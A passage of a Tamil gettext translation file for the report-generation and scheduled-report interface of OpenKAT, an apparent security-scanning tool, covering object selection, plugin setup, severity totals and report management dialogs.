கண்டுபிடிப்புகள் எதுவும் அடையாளம் காணப்படவில்லை.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"PDF ஆக பதிவிறக்கவும்\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"சாதொபொகு ஆக பதிவிறக்கம்\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"திறந்த சொத்து அறிக்கைகள்\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"இது அமைப்புக்கான OpenKAT அறிக்கை\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட பொருள்களுக்கான தேர்ந்தெடுக்கப்பட்ட அனைத்து அறிக்கை வகைகளும் ஒன்றுக்கு கீழே \"\n\"காட்டப்படும்.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"இதிலிருந்து தரவுடன் உருவாக்கப்பட்டது:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"உருவாக்கப்பட்டது:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"செய்முறையிலிருந்து உருவாக்கப்பட்டது:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"செய்முறை உருவாக்கியவர்:\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"இந்தத் துறையில் %(length)s வருடு செய்யப்பட்ட அமைப்புகள் உள்ளன.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"இந்த அமைப்புகளில்\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"நிறுவனங்கள் குறிச்சொல்லைக் கொண்டுள்ளன\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"அடிப்படை பாதுகாப்பு மதிப்பெண்கள் உள்ளன \"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"மொத்தம் %(total)s முக்கியமான பாதிப்புகள் அடையாளம் காணப்பட்டுள்ளன.\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"அறிமுகம்\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\"இந்த அறிக்கை தேர்ந்தெடுக்கப்பட்ட தேதிக்கு உங்கள் நிறுவனத்திற்கான தற்போதைய பாதுகாப்பு நிலை \"\n\"பற்றிய கண்ணோட்டத்தை அளிக்கிறது. சுருக்கம் பிரிவு தேர்ந்தெடுக்கப்பட்ட அமைப்புகள் (பொருள்கள்), \"\n\"செருகுநிரல்கள் மற்றும் அறிக்கைகளின் கண்ணோட்டத்தை வழங்குகிறது. ஒவ்வொரு அறிக்கைக்கும் \"\n\"கண்டுபிடிப்புகளுடன் இது பின்பற்றப்படுகிறது.\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"பெயர்களைப் புகாரளிக்கவும்:\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"தேவை\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"குறிப்பு தேதியைச் சேர்க்கவும்\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"மீட்டமை\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"குறிப்பு தேதி இல்லை\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"நாள்\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"வாரம்\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"திங்கள்\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"ஆண்டு\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"பொருள் தேர்வு\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\"உங்கள் அறிக்கையில் நீங்கள் எந்தப் பொருள்களைச் சேர்க்க விரும்புகிறீர்கள் என்பதைத் தேர்ந்தெடுக்கவும். \"\n\"நீங்கள் ஒரு நேரடி தொகுப்பைத் தொடரலாம் அல்லது கீழேயுள்ள அட்டவணையிலிருந்து கைமுறையாகப் \"\n\"பொருட்களைத் தேர்ந்தெடுக்கலாம்.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\"ஒரு நேரடி தொகுப்பு என்பது பயன்படுத்தப்பட்ட வடிப்பான்களின் அடிப்படையில் பொருள்களின் \"\n\"தொகுப்பாகும். இந்தப் பயன்பாட்டு வடிப்பானுடன் (இப்போது அல்லது எதிர்காலத்தில்) பொருந்தக்கூடிய \"\n\"எந்தவொரு பொருளும் திட்டமிடப்பட்ட அறிக்கைக்கான உள்ளீடாகப் பயன்படுத்தப்படும். உங்கள் லைவ் செட் \"\n\"வடிகட்டி (எ.கா. 'எல் 2 இசைவு' கொண்ட 'ஓச்ட்பெயம்ச்' 'அறிவிக்கப்பட்ட') இன்று வடிகட்டியுடன் \"\n\"பொருந்தக்கூடிய 2 ஓச்ட்பெயர்களைக் காட்டினால், திட்டமிடப்பட்ட அறிக்கை அந்த 2 ஓச்ட்பெயர்களுக்காக \"\n\"இயங்கும். நாளை மேலும் 3 ஓச்ட்பெயர்களைச் சேர்த்தால் (அதே வடிகட்டி அளவுகோல்களுடன்), உங்கள் \"\n\"அடுத்த திட்டமிடப்பட்ட அறிக்கையில் 5 ஓச்ட்பெயர்கள் இருக்கும். நீங்கள் செல்லும்போது உங்கள் நேரடி \"\n\"தொகுப்பு புதுப்பிக்கப்படும்.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\"தற்போதைய தரவுத்தொகுப்பின் அடிப்படையில், நீங்கள் தேர்ந்தெடுக்கப்பட்ட வடிப்பான்கள் பின்வரும் \"\n\"பொருள்களை விளைவிக்கின்றன.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"பொருள்கள் தேர்ந்தெடுக்கப்பட்டன\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"எல்லா பொருட்களையும் தேர்வுநீக்கு\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"%(total)s இல் %(length)s பொருள்களைக் காட்டுகிறது\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"அனைத்து %(total_oois)s பொருளையும் தேர்ந்தெடுக்கவும்\"\nmsgstr[1] \"அனைத்து %(total_oois)s பொருள்களையும் தேர்ந்தெடுக்கவும்\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"பொருள் பெயர்\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட வடிப்பான்களில் பொருள்கள் இல்லாததால் அறிக்கை (கள்) காலியாக இருக்கலாம்.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட வடிப்பான்களுடன் பொருந்தக்கூடிய அறிக்கைகள் இந்த நேரத்தில் காலியாக \"\n\"இருக்கும். எதிர்கால அறிக்கைகளில் தரவு இருக்கலாம். (சாத்தியமான வெற்று) அறிக்கையை \"\n\"உருவாக்க இன்னும் சாத்தியமாகும்.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"நேரடி தொகுப்புடன் தொடரவும்\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"தேர்வோடு தொடரவும்\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"உள்ளமைவு\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"இந்த அறிக்கைக்கு தேவையான செருகுநிரல்களை அமைக்கவும்.\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"செருகுநிரல்கள்\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\"தேவையான மற்றும் பரிந்துரைக்கப்பட்ட போஃப்ச்கள் அனைத்தும் இயக்கப்பட்டிருக்கும் போது கேட் ஒரு \"\n\"முழு அறிக்கையை உருவாக்க முடியும்.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\"ஒரு சொருகி இயக்க வேண்டாம் என்று நீங்கள் தேர்வுசெய்தால், சொருகி சேகரிக்கும் அல்லது \"\n\"விளைவாக்கம் செய்யும் தரவு அறிக்கையிலிருந்து விடப்படும், பின்னர் அது இயக்கப்பட்ட \"\n\"செருகுநிரல்களால் சேகரிக்கப்பட்ட தரவுகளின் அடிப்படையில் உருவாக்கப்படும்.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\"சில செருகுநிரல்கள் கட்டாயமாக இருப்பதால் அவை அறிக்கை வகைக்கு முக்கியமானவை. அவற்றின் \"\n\"தேவைகள் நிறைவு இல்லாத அறிக்கைகள் தவிர்க்கப்படும்.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"எச்சரிக்கை! நீங்கள் தொடர முன் பின்வரும் புள்ளிகளைப் படியுங்கள்:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\"இயக்கப்பட்ட செருகுநிரல்களைப் பயன்படுத்தி அறியப்பட்ட அனைத்து பொருட்களையும் வழக்கமான \"\n\"அடிப்படையில் ச்கேன் செய்ய ஓபன்காட் வடிவமைக்கப்பட்டுள்ளது மற்றும் இசைவு நிலைகளை அமைக்கவும். \"\n\"இதன் பொருள் ச்கேன் தானாக இயங்கும். பொறுமையாக இருங்கள்; செருகுநிரல்கள் அவற்றின் எல்லா \"\n\"தரவையும் சேகரிப்பதற்கு முன்பு சிறிது நேரம் ஆகலாம். செருகுநிரல்கள் தரவைச் சேகரிப்பதை \"\n\"முடிக்காததால், அறிக்கை தலைமுறைக்கு சற்று முன்பு அவற்றை இயக்குவது தவறான அறிக்கைகளை \"\n\"ஏற்படுத்தும்.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"நல்ல வேலை! தேவையான அனைத்து செருகுநிரல்களும் இயக்கப்பட்டுள்ளன.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"இந்த அறிக்கை வகைக்கு பின்வரும் செருகுநிரல்கள் இயக்கப்பட வேண்டும்:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"தேவையான அனைத்து செருகுநிரல்களையும் மாற்றவும்\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"இயக்கப்பட்ட செருகுநிரல்களைக் காட்டு\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"தேவையான செருகுநிரல்கள் இல்லை.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"நல்ல வேலை! பரிந்துரைக்கப்பட்ட அனைத்து செருகுநிரல்களும் இயக்கப்பட்டுள்ளன.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"அறிக்கையை உருவாக்க பின்வரும் செருகுநிரல்கள் விருப்பமானவை:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"அனைத்து விருப்ப செருகுநிரல்களையும் மாற்றவும்\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"பரிந்துரைக்கப்பட்ட செருகுநிரல்களை மறைக்கவும்\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"மேலும் பரிந்துரைக்கப்பட்ட செருகுநிரல்களைக் காட்டு\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"விருப்ப செருகுநிரல்கள் எதுவும் இல்லை.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட செருகுநிரல்களை இயக்கவும், தொடரவும்\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\"\\n\"\n\"            இந்த கண்ணோட்டம் மொத்த கண்டுபிடிப்புகளின் எண்ணிக்கையைக் காட்டுகிறது \\n\"\n\"இந்த அமைப்புக்கு அடையாளம் காணப்பட்ட தீவிரம்.\\n\"\n\"        \"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"தீவிரமான கண்ணோட்டத்திற்கு மொத்தம்\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"விமர்சன\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"உயர்ந்த\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"சராசரி\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"குறைந்த\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"நிலுவையில் உள்ளது\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"தெரியவில்லை\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"மொத்தம்\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட பொருள்கள்\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட செருகுநிரல்கள்\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"பயன்படுத்தப்பட்ட கட்டமைப்புப் பொருள்கள்\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"அறிக்கை வகைகளைத் தேர்வுசெய்க\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\"ஒரு அமைப்பின் பாதுகாப்பின் வெவ்வேறு அம்சங்களில் பாதிப்புகளை அடையாளம் காண டிஎன்எச் \"\n\"அறிக்கைகள் மற்றும் டிஎல்எச் அறிக்கைகள் போன்ற பல்வேறு வகையான அறிக்கைகள் தேவை. டி.என்.எச் \"\n\"அறிக்கைகள் டொமைன் பெயர் கணினி உள்ளமைவு மற்றும் சாத்தியமான பலவீனங்களில் கவனம் \"\n\"செலுத்துகின்றன, அதே நேரத்தில் டி.எல்.எச் அறிக்கைகள் தரவு குறியாக்கம் மற்றும் பரிமாற்ற \"\n\"நெறிமுறைகளின் பாதுகாப்பை மதிப்பிடுகின்றன, மேலும் பாதுகாப்பு மேம்பாடுகள் தேவைப்படும் \"\n\"பகுதிகளை சுட்டிக்காட்ட நிறுவனங்களுக்கு உதவுகின்றன.\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"தேர்ந்தெடுக்கப்பட்ட பொருள் (%(total_oois)s)\"\nmsgstr[1] \"தேர்ந்தெடுக்கப்பட்ட பொருள்கள் (%(total_oois)s)\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\"முந்தைய கட்டத்தில் ஒரு நேரடி தொகுப்பை நீங்கள் தேர்ந்தெடுத்துள்ளீர்கள். தற்போதைய \"\n\"தரவுத்தொகுப்பின் அடிப்படையில், இந்த நேரடி தொகுப்பு %(total_oois)s பொருள்களில் \"\n\"விளைகிறது.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"பயன்பாட்டு வடிப்பான்கள்:\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"முந்தைய கட்டத்தில் %(total_oois)s பொருளைத் தேர்ந்தெடுத்துள்ளீர்கள்.\"\nmsgstr[1] \"முந்தைய கட்டத்தில் %(total_oois)s பொருள்களைத் தேர்ந்தெடுத்துள்ளீர்கள்.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"தேர்வை மாற்றவும்\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"கிடைக்கும் அறிக்கை வகைகள்\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"உங்கள் தேர்வுக்கு கிடைக்கும் அனைத்து அறிக்கை வகைகளும்.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"அனைத்து அறிக்கை வகைகளையும் மாற்றவும்\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"%(btn_text)s\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"பின்வரும் அறிக்கை (களை) நீக்கு:\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\"நீக்கப்பட்ட தருணத்திலிருந்து நீக்கப்பட்ட அறிக்கைகள் பார்வையில் அகற்றப்படுகின்றன. நீக்குவதற்கு \"\n\"முன்பு நேர முத்திரைகளில் அறிக்கையை அணுகலாம். அறிக்கை மட்டுமே பார்வையில் இருந்து \"\n\"அகற்றப்படுகிறது, அது அடிப்படையாகக் கொண்ட தரவு அல்ல.\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\"அதே தேதிக்கு ஒரு புதிய அறிக்கையை உருவாக்குவது இன்னும் சாத்தியமாகும். அறிக்கை \"\n\"ஒருங்கிணைந்த அறிக்கையின் ஒரு பகுதியாக இருந்தால், அது ஒருங்கிணைந்த அறிக்கையில் கிடைக்கும்.\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"குறிப்பு தேதி\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"அட்டவணையை முடக்கு\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\"<strong>%(report_name)s </strong> க்கான அட்டவணையை முடக்க விரும்புகிறீர்களா? \"\n\"செய்முறை இன்னும் இருக்கும், பின்னர் அட்டவணையை இயக்க முடியும்.\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"பின்வரும் அறிக்கை (களை) மறுபெயரிடுங்கள்:\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"மறுபெயரிடுங்கள்\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"பின்வரும் அறிக்கை (களை) மீண்டும் இயக்கவும்:\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\"சமர்ப்பிப்பதன் மூலம், தற்போதைய தரவைப் பயன்படுத்தி, தேர்ந்தெடுக்கப்பட்ட அறிக்கைகளை மீண்டும் \"\n\"உருவாக்குகிறீர்கள்.\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"மீண்டும்\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"வரலாறு தெரிவிக்கிறது\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\"இந்த பக்கத்தில் கடந்த காலத்தில் உருவாக்கப்பட்ட அனைத்து அறிக்கைகளையும் நீங்கள் காணலாம். புதிய \"\n\"அறிக்கையை உருவாக்க, 'அறிக்கையை உருவாக்கு' பொத்தானைக் சொடுக்கு செய்க.\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"%(total)s இல் %(length)s அறிக்கைகளைக் காட்டுகிறது\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"அறிக்கைகள்:\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"பெற்றோர் அறிக்கை விவரங்களைக் காட்டுகிறது\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"சொத்து அறிக்கை பொருள் விவரங்களை மூடு\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"திறந்த சொத்து அறிக்கை பொருள் விவரங்கள்\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\n\"இந்த அறிக்கை பின்வரும் அறிக்கை வகை மற்றும் பொருளுடன் %(counter)sொத்து அறிக்கையைக் \"\n\"கொண்டுள்ளது:\"\nmsgstr[1] \"\"\n\"இந்த அறிக்கை பின்வரும் அறிக்கை வகைகள் மற்றும் பொருள்களுடன் %(counter)sொத்து அறிக்கைகளைக் \"\n\"கொண்டுள்ளது:\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"சொத்து அறிக்கைகள்\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"சொத்து அறிக்கை விவரங்களைக் காட்டுகிறது\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"அனைத்து சொத்து அறிக்கைகளையும் காண்க\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"இதுவரை எந்த அறிக்கையும் உருவாக்கப்படவில்லை.\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"அறிக்கைகள்\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"திட்டமிடப்பட்ட அல்லது உருவாக்கப்பட்ட அறிக்கைகளின் கண்ணோட்டம்.\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"திட்டமிடப்பட்டுள்ளது\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"வரலாறு\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"திட்டமிடப்பட்ட அறிக்கைகள்\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\"இந்த பக்கத்தில் நீங்கள் திட்டமிடப்பட்ட அல்லது திட்டமிடப்பட்ட அனைத்து அறிக்கைகளையும் காணலாம். \"\n\"ஒரு அறிக்கையைத் திட்டமிட, ஒரு அறிக்கையை உருவாக்கும் போது தொடக்க தேதி மற்றும் மீண்டும் \"\n\"வருவதைத் தேர்ந்தெடுக்கவும்.\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"%(length)s /%(total)s அட்டவணைகளைக் காட்டுகிறது\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"திட்டமிடப்பட்ட அறிக்கைகள்:\"\n\n#: 